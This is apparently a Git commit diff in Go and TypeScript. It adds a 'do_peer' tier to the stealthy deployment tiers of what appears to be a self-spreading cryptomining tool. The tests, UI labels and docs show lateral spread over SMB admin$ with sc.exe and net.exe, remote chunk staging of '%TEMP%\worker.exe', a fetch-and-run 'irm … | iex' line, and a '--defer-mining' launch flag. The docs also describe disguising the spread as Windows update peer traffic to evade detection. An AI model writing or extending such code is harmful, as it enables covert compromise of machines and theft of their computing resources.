{Name: "DoSvc", Status: "running"},
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok {
|
||||
t.Fatal("expected match")
|
||||
}
|
||||
if matched != "DoSvc" || lane.Lane != "do_peer" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeJoinLaneDoPeer(t *testing.T) {
|
||||
if got := normalizeJoinLane("do-peer"); got != "do_peer" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLanePriority(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
|
||||
@@ -10,6 +10,7 @@ var DefaultLotlOnionTiers = []string{
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
@@ -21,7 +22,7 @@ func NormalizeLotlOnionTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
|
||||
@@ -418,6 +418,11 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
|
||||
<td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-do_peer">
|
||||
<td><strong>do_peer</strong></td>
|
||||
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
|
||||
<td>Probe & Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-smb">
|
||||
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
|
||||
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
|
||||
|
||||
@@ -38,6 +38,11 @@ describe('Recon badges', () => {
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders lane label', () => {
|
||||
render(<JoinLaneBadge lane="do_peer" />);
|
||||
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders docker lane label', () => {
|
||||
render(<JoinLaneBadge lane="docker" />);
|
||||
expect(screen.getByText('Docker')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(10);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(11);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
|
||||
@@ -7,6 +7,7 @@ export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'do_peer',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
@@ -81,6 +82,15 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
example:
|
||||
'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
|
||||
},
|
||||
{
|
||||
id: 'do_peer',
|
||||
label: 'do_peer',
|
||||
hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging',
|
||||
definition:
|
||||
'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.',
|
||||
example:
|
||||
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
|
||||
},
|
||||
{
|
||||
id: 'smb',
|
||||
label: 'SMB',
|
||||
|
||||
@@ -32,6 +32,7 @@ describe('reconRisk', () => {
|
||||
it('joinLaneLabel formats known lanes', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
|
||||
@@ -73,6 +73,8 @@ const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
gpo: 'GPO',
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
do_peer: 'DoSvc peer',
|
||||
bits_curl: 'BITS/curl',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
linux_lotl: 'Linux LOTL',
|
||||
|
||||
Reference in New Issue
Block a user